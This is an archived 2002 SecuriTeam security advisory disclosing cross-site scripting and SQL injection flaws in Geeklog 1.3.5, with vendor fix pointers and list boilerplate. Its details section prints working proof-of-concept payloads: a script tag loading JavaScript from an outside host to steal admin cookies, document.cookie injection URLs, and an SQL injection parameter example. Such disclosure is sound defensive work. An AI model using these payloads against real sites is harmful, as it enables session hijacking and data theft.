[UNIX] Multiple Security Issues in Geeklog (XSS, SQL Inject)
From: support@securiteam.comDate: 06/11/02
- Previous message: support@securiteam.com: "[NEWS] ZenTrack System Information Path Disclosure Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Tue, 11 Jun 2002 08:21:25 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
Multiple Security Issues in Geeklog (XSS, SQL Inject)
------------------------------------------------------------------------
SUMMARY
<http://geeklog.sourceforge.net/index.php?topic=GeekLog> Geeklog is a web
content management system suitable for running full-featured community
sites. It supports article posting, threaded comments, event scheduling,
and link management and is built around a design philosophy that
emphasizes ease of use. Multiple security vulnerabilities have been found
in the product, the vulnerabilities would allow a remote attacker to
insert malicious JavaScript or HTML into existing sites and to inject
existing SQL statements with malicious content.
DETAILS
Vulnerable systems:
* Geeklog version 1.3.5, 1.3.5rc1
Immune systems:
* Geeklog version 1.3.5sr1
Cross-Site Scripting
1. When a user sends a new Calendar Event, the form is submitted to the
site for administrator's approval. The $url variable, which holds the data
given in the "Link" section of the form, is not filtered for malicious
code. Therefore, a malicious user can capture the cookie used by the site
administrator and gain complete control over the site's content.
Proof-of-concept Link input ($url):
<script src="http://forum.olympos.org/f.js">Alper</script>
2. Maliciously crafted links from third party sites allows Cross Site
Scripting attacks via "index.php" or "comment.php".
Two examples:
/index.php?topic=<script>alert(document.cookie)</script>
/comment.php?mode=display&sid=foo&pid=18&title=<script>alert(document.cookie)</script>&type=article
SQL Injection:
3. The $pid variable is directly passed to SQL input. This allows
attackers to launch a SQL injection attack.
Example:
/comment.php?
mode=display&sid=foo&pid=PROBLEM_HERE&title=ALPER_Research_Labs
As the "Magic Quotes" function of PHP escapes the quoting characters, this
third issue might just cause "light" headaches, but if the "Magic Quotes"
is not active, an attacker can access any of the stored information
present inside the SQL tables.
Solution:
The vendor replied and acted quickly. A patch or a new version pointing
this issue will soon be available via CVS or a FTP download from:
<http://www.sourceforge.net/projects/geeklog>
http://www.sourceforge.net/projects/geeklog
Or
<http://geeklog.sourceforge.net> http://geeklog.sourceforge.net
ADDITIONAL INFORMATION
The information has been provided by <mailto:salper@olympos.org> Ahmet
Sabri ALPER.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NEWS] ZenTrack System Information Path Disclosure Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- RE: SQL Slammer doing the rounds again?
... SQL Slammer doing the rounds again? ... "I used to hate writing assignments,
... > Security Business Unit ... > at the largest, most highly-anticipated
industry ... (Incidents) - Re: sql injection query
... escapes the values so this alone greatly enhances security. ... there was a
post here a while ago about Validating SQL ... these regex's were very good] so he had
no worries about Injection. ... wanted to know if I call a storedprocedure like
this I would be similarly ... (microsoft.public.dotnet.framework.adonet) - [NEWS] IBM Informix Web DataBlade Vulnerable to Auto-decoding of HTML Entities
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... HTML encoded strings are automatically
being decoded when used in SQL ... When a string has been ... $'ed it should
thus be safe to use it in an SQL query, ... (Securiteam) - Re: Microsoft Informational Alert
... > PSS Security Response Team Alert - SQL Security Recommendations ...
> PRODUCTS AFFECTED: SQL Server ... Secure your SA login account with a non-NULL
password. ... (microsoft.public.security) - Re: sql injection - missed it at bh/defcon + follow on query.
... sql injection - missed it at bh/defcon + follow on query. ... >I got thro'
a login by putting ... >This list is provided by the SecurityFocus Security Intelligence
Alert ... (Pen-Test)